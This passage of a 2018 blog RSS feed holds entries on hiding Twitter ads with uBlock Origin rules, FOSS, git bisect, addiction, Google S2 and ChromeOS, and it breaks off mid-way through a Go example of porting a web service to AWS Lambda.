&lt;h1 id="is-ublock-really-necessary"&gt;Is ublock &lt;em&gt;really&lt;/em&gt; necessary?&lt;/h1&gt;

&lt;blockquote&gt;
  &lt;p&gt;OK, Josh, this is a lot of work to &lt;em&gt;individually delete page nodes&lt;/em&gt; just to “preserve” my attention? I can read articles without worrying about the rest of the sidebars. Don’t you think this is overkill?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I don’t think it’s overkill.&lt;/p&gt;

&lt;p&gt;A while back, &lt;a href="/i-quit"&gt;I wrote about a book called &lt;em&gt;Deep Work&lt;/em&gt;, and the profound impact it had on me&lt;/a&gt;. I stepped off of social media completely, and made efforts to trim away other distractions in my life.&lt;/p&gt;

&lt;p&gt;Since taking these steps, I’ve become sensitive and more attuned to when I’m subjected to unwilling sources of distraction. It’s as if my “someone is trying to influence me” radar got much stronger.&lt;/p&gt;

&lt;p&gt;I suspect that if you start using uBlock to remove annoying elements from pages, you’ll start developing a stronger radar for when someone is trying to monetize your attention, and and then you’ll block those elements, but then become even more attuned to those unwanted influences, and then block them, and on and on.&lt;/p&gt;

&lt;p&gt;It is worth pointing out that &lt;em&gt;this very website&lt;/em&gt; is devoid of those sorts of elements I find annoying. No popups, no sidebar content, no click-baity headlines. If you want to share one of these posts on social media, you have to do it the old school way. Copy and paste the URL into your platform of choice.&lt;/p&gt;

&lt;p&gt;Note how clean the URL is: &lt;code class="language-plaintext highlighter-rouge"&gt;https://josh.works/post-title&lt;/code&gt;. Positively peaceful.&lt;/p&gt;

&lt;p&gt;The only metric I pay attention to is email subscribers. Someone subscribing via email is basically the highest endorsement of trust I can imagine. I’m extremely judicious in subscribing to other people’s websites, so I value other people trusting me with their email address.&lt;/p&gt;

&lt;h1 id="detail-on-twitter"&gt;Detail on Twitter&lt;/h1&gt;

&lt;p&gt;A few more thoughts on Twitter. Here’s its most recent ugly UI&lt;/p&gt;

&lt;p&gt;&lt;img alt="before" src="/images/2019-07-17-before.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;And after its fixed:&lt;/p&gt;

&lt;p&gt;&lt;img alt="After" src="/images/2019-07-17-after.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Twitter is tricky about ads/follow suggestions it injects into your stream. Because the root node ID is unique to you/the user the add wants you to follow, you need to use a little wild-carding to catch-and-delete these all.&lt;/p&gt;

&lt;p&gt;First, here’s what the rules look like for deleting individual ads. These entries are useless, as once the long string of digets at the end changes, the ad won’t be caught by uBlock.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;twitter.com###stream-item-who_to_follow_entry-955359935176437758
twitter.com###stream-item-who_to_follow_entry-953442336767381502
twitter.com###stream-item-who_to_follow_entry-955359935176437758
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here’s the rule I have in uBlock, that just catches all of these, no matter what the actual element id is:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;twitter.com##li[id^="stream-item-who_to_follow_entry"]

// Here's some other twitter rules that might be helpful

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Go forth and retain more of your attention!&lt;/p&gt;

&lt;h3 id="related-resources"&gt;Related Resources&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.ghacks.net/2017/02/21/ublock-origin-how-to-remove-any-element-from-a-page-permanently/"&gt;Use uBlock Origin to remove any element from a page permanently, &lt;em&gt;ghacks.net&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.vox.com/science-and-health/2018/1/15/16863374/willpower-overrated-self-control-psychology"&gt;Willpower is over-rated. Build systems to ensure desired behavior, &lt;em&gt;Vox.com&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.reddit.com/r/uBlockOrigin/comments/6g4jvt/is_there_any_way_to_hide_promoted_tweets_from_the/"&gt;Is there any way to hide promoted tweets from the twitter feed with uBlock Origin? (Reddit)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Sun, 21 Jan 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/take-back-your-attention</guid></item><item><title>Why no more new AND successful FOSS projects in the last ten years?</title><link>https://stop.zona-m.net/2018/01/why-no-more-new-and-successful-foss-projects-in-the-last-ten-years/</link><description>&lt;p&gt;I&amp;rsquo;ve already reported about the &lt;a href="https://stop.zona-m.net/2018/01/swatantra17-software-freedom-and-awareness-of-larger-picture/"&gt;main highlights of the Swatantra17 conference&lt;/a&gt;. Here are some more thoughts, about a very general issue, prompted by other things I heard at the same conference.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 21 Jan 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/why-no-more-new-and-successful-foss-projects-in-the-last-ten-years/</guid></item><item><title>The Wisdom of Crowds</title><link>https://olshansky.info/book/the_wisdom_of_crowds/</link><description>Olshansky's review of The Wisdom of Crowds by James Surowiecki</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 21 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/the_wisdom_of_crowds/</guid></item><item><title>2018-01-21</title><link>https://ho.dges.online/pictures/2018-01-21/</link><description/><author>ho.dges.online</author><pubDate>Sun, 21 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-01-21/</guid></item><item><title>How to dismantle a compiler bomb</title><link>https://codeexplainer.wordpress.com/2018/01/20/how-dismantle-compiler-bomb/</link><description>You have heard of &amp;#8220;zip bombs&amp;#8221; (a tiny ZIP file that decompresses to multiple gigabytes) and &amp;#8220;XML bombs&amp;#8221; (small XML file abusing the entities to consume lots of memory), and now there is a &amp;#8220;compiler bomb&amp;#8221; to follow suit.  The &amp;#8230; &lt;a href="https://codeexplainer.wordpress.com/2018/01/20/how-dismantle-compiler-bomb/"&gt;Continue reading &lt;span class="meta-nav"&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</description><author>Code Explainer</author><pubDate>Sat, 20 Jan 2018 18:52:25 GMT</pubDate><guid isPermaLink="true">https://codeexplainer.wordpress.com/2018/01/20/how-dismantle-compiler-bomb/</guid></item><item><title>Getting started with the Hugo static site generator</title><link>https://ilearnt.com/blog/hugo/</link><description>&lt;p&gt;This blog is being powered by a static content generator called &lt;a href="https://gohugo.io/" target="_blank"&gt;Hugo&lt;/a&gt; and hosted on GitHub Pages. Getting Hugo up and running was relatively easy. Download the relevant version and installation was just copying it to a folder.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 20 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/hugo/</guid></item><item><title>Git Bisect A.K.A. Pure Git Wizardry</title><link>https://lucasfcosta.com/blog/Git-Bisect-Pure-Git-Wizardry/</link><description>Git's `bisect` command is one of those things you will wish you've known since you started using `git` at all.

I don't use it that often, but whenever I do I ask myself how did I live without this f...</description><author>Lucas F. Costa - Blog</author><pubDate>Sat, 20 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/Git-Bisect-Pure-Git-Wizardry/</guid></item><item><title>Why I do NOT like Google's Accelerated Mobile Pages (AMP)</title><link>https://stop.zona-m.net/2018/01/why-i-do-not-like-googles-accelerated-mobile-pages-amp/</link><description>&lt;p&gt;Here&amp;rsquo;s an explanation (*) of why I do &lt;strong&gt;not&lt;/strong&gt; like the Google technology and service called AMP (Accelerated Mobile Pages).&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 20 Jan 2018 12:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/why-i-do-not-like-googles-accelerated-mobile-pages-amp/</guid></item><item><title>Women's March, 2018</title><link>https://faingezicht.com/photos/2018/01/20/womens-march-2018/</link><description>It's odd that large scale protests like the Woman's March have become so mainstream. Sadly, I think they are more useful as cathartic exercises than as sources of political change, but I still think it is important to take part. When Hannah asked me if I wanted to join her and a few friends, I said yes right away.

Last year I was &lt;a href="http://www.faingezicht.com/articles/2017/01/30/not-today"&gt;stuck at home without a visa&lt;/a&gt;, and could not attend. I'm happy I was there today, showing that I care.</description><author>Avy Faingezicht</author><pubDate>Sat, 20 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/01/20/womens-march-2018/</guid></item><item><title>Your first robot: Introduction to the Robot Operating System [2/5]</title><link>https://kyrofa.com/posts/your-first-robot-introduction-to-the-robot-operating-system-2-5/</link><description>UPDATE: I&amp;rsquo;m leaving this series up for historical purposes, but please note that I no longer recommend Ubuntu Core or snaps for use in robotics.
This is the second blog post in this series about creating your first robot with ROS and Ubuntu Core. In the previous post we walked through all the hardware necessary to follow this series, and introduced Ubuntu Core, the operating system for IoT devices. We installed it on our Raspberry Pi, and used it to go through the CamJam worksheets.</description><author>kyrofa's blog</author><pubDate>Sat, 20 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/your-first-robot-introduction-to-the-robot-operating-system-2-5/</guid></item><item><title>Interview with the D Language Blog: BSDScheme</title><link>http://notes.eatonphil.com/project-highlight-bsdscheme.html</link><description>&lt;p&gt;This is an external post of mine. Click
&lt;a href="https://dlang.org/blog/2018/01/20/project-highlight-bsdscheme/"&gt;here&lt;/a&gt;
if you are not redirected.&lt;/p&gt;</description><author>Notes on software development</author><pubDate>Sat, 20 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/project-highlight-bsdscheme.html</guid></item><item><title>Review: The Useful Idea of Truth</title><link>https://zrkrlc.com/notes/review-the-useful-idea-of-truth/1516350840/</link><description>This sequence is Eliezer's second attempt at The Great Canon of Modern Rationality. He took the insight-porn-style of the original and recast it into a sleeker (and quite frankly, more useful) theory-then-exercise format. Not unlike the original, however, he begins by digging beneath the idea of truth:The Sally-Anne False-Belief task is an experiment used to tell whether a child understands the difference between belief and reality. It goes as follows:</description><author>Junk Heap Homotopy</author><pubDate>Fri, 19 Jan 2018 10:34:00 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/review-the-useful-idea-of-truth/1516350840/</guid></item><item><title>2017 Year in Review</title><link>https://solomon.io/2017-year-in-review/</link><description>Around the holidays I start putting together my yearly review. These reviews are ways for me to reflect on how the year went.</description><author>Sam Solomon</author><pubDate>Fri, 19 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/2017-year-in-review/</guid></item><item><title>Addiction. What is it good for?</title><link>http://dimitarsimeonov.com/2018/01/18/addiction-what-is-it-good-for</link><description>&lt;p&gt;Cell phone addiction.  Sugar addiction.  Alcohol addiction.  Social
media. Cigarettes. Marijuana. Email. Drugs. Social media. Caffeine.&lt;/p&gt;

&lt;p&gt;I think these are bad when taken to the excessive.&lt;/p&gt;

&lt;p&gt;But when consumed in reasonable amounts all of the above can be
beneficial. Hospitals use morphine as a pain killer in extreme
situations. Alcohol, with all its toxic effects on the body, can still
serve as a “social lubricant”, and a fast way to relax from stress.
Online media can help you connect with people and ideas you care about
and even the proverbial cat and dogs photo can make you smile and
might have some psychological benefits. Caffeine is a great
productivity booster in the moment you need it.&lt;/p&gt;

&lt;p&gt;How much to have? Just enough to get the benefit. And then stop.&lt;/p&gt;

&lt;p&gt;But that’s easier said than done. All of these activities are slippery
slopes. It’s easy to do them a little bit, get the benefit, and get
hooked. It’s easy to develop a taste for them. It’s hard &lt;em&gt;not&lt;/em&gt; to
build tolerance. It becomes a habit. It gets hard wired in brains. It
gets soldered in our brains. Then it gets heavy duty welded in.&lt;/p&gt;

&lt;p&gt;&lt;img alt="welded metal" class="img-responsive" src="http://dimitarsimeonov.com/assets/image/20180118_addiction/weldedmetal.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Once it’s welded in there, &lt;em&gt;we can’t forget about it&lt;/em&gt; and expect it will
go away. We have to angle grind it out.&lt;/p&gt;

&lt;p&gt;But should we? For ourselves? For society?&lt;/p&gt;

&lt;p&gt;I think society doesn’t want that. It runs on addictions. If I ask in
the abstract a single person if I should stop any of the above
addictions for myself, they’ll answer yes. Stop it. It’s bad for ya,
buddy.  But the habits formed by all our addictions are the fuel that
keeps the engine of the economy running. And we, the people, are the
engine.&lt;/p&gt;

&lt;p&gt;For example, the “Gear Acquisition Syndrome”. Wanting to get one more
guitar to the set, a more ergonomic backpack for hiking, a fancy new
cardio machine, newer iPhone than the one I already have. Each of
those would have a very small positive effect on guitar playing,
hiking, fitness or phone utility. Very small. Miniscule.&lt;/p&gt;

&lt;p&gt;Even though the optimal approach for each of is to play the existing
guitar more, or to go hiking more, or to use the existing fitness
equipment or run, or to use the existing iPhone until the battery
starts dying and Apple slows it down too much.&lt;/p&gt;

&lt;p&gt;But our brains get immediate reward by browsing and shopping and
dreaming about all this gear. We get that sweet hit of dopamine.
Appreciating what we have is harder, and requires upfront effort, and
has hard time competing against the low glycemic index of the browsing
for new gear. We love the &lt;em&gt;idea&lt;/em&gt; of hiking and playing guitar, more
than actually doing those.&lt;/p&gt;

&lt;p&gt;We go and spend any of the money we earn and we think we can afford to
spend on things that feed our addictions. And some of those money goes
to pay the people who build these addictions, and they spend it on
their addictions, and it comes back to us. Because many of us might be
are working on a product which takes advantage of some of these
addictions. Even if we don’t realize it. We might think we are solving
a real problem for people, and providing value, yet most of our
customers are buying what we sell because of their addiction to
something, and not because they truly derive value and make their
lives better.&lt;/p&gt;

&lt;p&gt;And while we do provide some value in some cases, a significant amount
of work goes toward satisfying the cravings of addiction for
others. With one hand we are building houses, developing systems,
growing food, inventing medicine, and so on, and with the other hand
we are masturbating others whom we’ve tricked to believe that this is
what they can’t live without. And they masturbate us back. That’s how
the engine works, and how the sausage is made.&lt;/p&gt;

&lt;p&gt;This is my perspective on addiction’s role in society. There is a lot
of waste, but the engine is working. The engine is solid, with all the
welding, and tough like a squat rack. We can imagine replacing or at
least reducing addiction as a driving and structural force, but thats
a long and complex topic and I have to stop somewhere today.&lt;/p&gt;

&lt;p&gt;America runs on Dunkins. I wrote this post with the help of caffeine.&lt;/p&gt;</description><author>D13V</author><pubDate>Fri, 19 Jan 2018 01:55:34 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/01/18/addiction-what-is-it-good-for</guid></item><item><title>Google S2 with Python &amp;amp; Jupyter</title><link>https://blog.nobugware.com/post/2018/google-s2-python-jupyter/</link><description>Google is working again on S2 a spatial library !!!
And they even have created a website to communicate about it s2geometry.
The C++ port contains a Python Swig interface.
I&amp;rsquo;ve been using an unofficial Python port with Jupyter for years now things are way more simpler.
If you are on Arch I&amp;rsquo;ve create a package, simply install AUR s2geometry-git
First we want a clean Jupyter install from scratch:
virtualenv3 ~/dev/venv3 source ~/dev/venv3/bin/activate pip install jupyter pip install cython pip install numpy pip install matplotlib scikit-learn scipy Shapely folium geojson Cartopy cp /usr/lib/python3.</description><author>Fabrice Aneche</author><pubDate>Thu, 18 Jan 2018 15:20:15 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2018/google-s2-python-jupyter/</guid></item><item><title>And THE business model of the year is...</title><link>https://stop.zona-m.net/2018/01/and-the-business-model-of-the-year-is.../</link><description>&lt;p&gt;It is already evident that &lt;strong&gt;THE&lt;/strong&gt; winning Business Model for year 2018 is:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 18 Jan 2018 07:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/and-the-business-model-of-the-year-is.../</guid></item><item><title>A Nitpicky ChromeOS Review</title><link>https://justingarrison.com/blog/2018-01-18-a-nitpicky-chromeos-review/</link><description>I've been using a Pixelbook as my main mobile computer for a little over a month now</description><author>Justin Garrison's Homepage</author><pubDate>Thu, 18 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2018-01-18-a-nitpicky-chromeos-review/</guid></item><item><title>Dear Kubernetes Community</title><link>https://justingarrison.com/blog/2017-12-11-dear-kubernetes-community/</link><description>Dear Kubernetes Community, KubeCon and CloudNativeCon were an absolute blast!</description><author>Justin Garrison's Homepage</author><pubDate>Thu, 18 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2017-12-11-dear-kubernetes-community/</guid></item><item><title>Porting Go web applications to AWS Lambda</title><link>https://artem.krylysov.com/blog/2018/01/18/porting-go-web-applications-to-aws-lambda/</link><description>&lt;p&gt;Running Go on AWS Lambda is not something totally new - developers figured out how to launch Go binaries from Python a while ago, but it wasn't convenient and had some performance implications.&lt;/p&gt;
&lt;p&gt;A few days ago Amazon &lt;a class="reference external" href="https://aws.amazon.com/blogs/compute/announcing-go-support-for-aws-lambda/" target="_blank"&gt;announced&lt;/a&gt; an official Go support for AWS Lambda.&lt;/p&gt;
&lt;p&gt;The API Gateway integration is straightforward, all you need to do is to import the &lt;span class="docutils literal"&gt;&lt;span class="pre"&gt;github.com/aws/aws-lambda-go&lt;/span&gt;&lt;/span&gt; package, implement a Lambda handler and call the &lt;span class="docutils literal"&gt;lambda.Start&lt;/span&gt; to register the handler:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;github.com/aws/aws-lambda-go/events&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;github.com/aws/aws-lambda-go/lambda&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lambdaHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;APIGatewayProxyRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;APIGatewayProxyResponse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;events&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;APIGatewayProxyResponse&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;Body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hi&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StatusCode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lambdaHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I had a small service I wanted to port to Lambda:&lt;/p&gt;
&lt;pre class="code go literal-block"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Very very simplified version of the service.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fmt&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;net/http&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;strconv&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;indexHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ResponseWriter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;index&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;addHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ResponseWriter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Atoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FormValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;first&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Atoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;FormValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;second&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Hi&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%d&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;indexHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
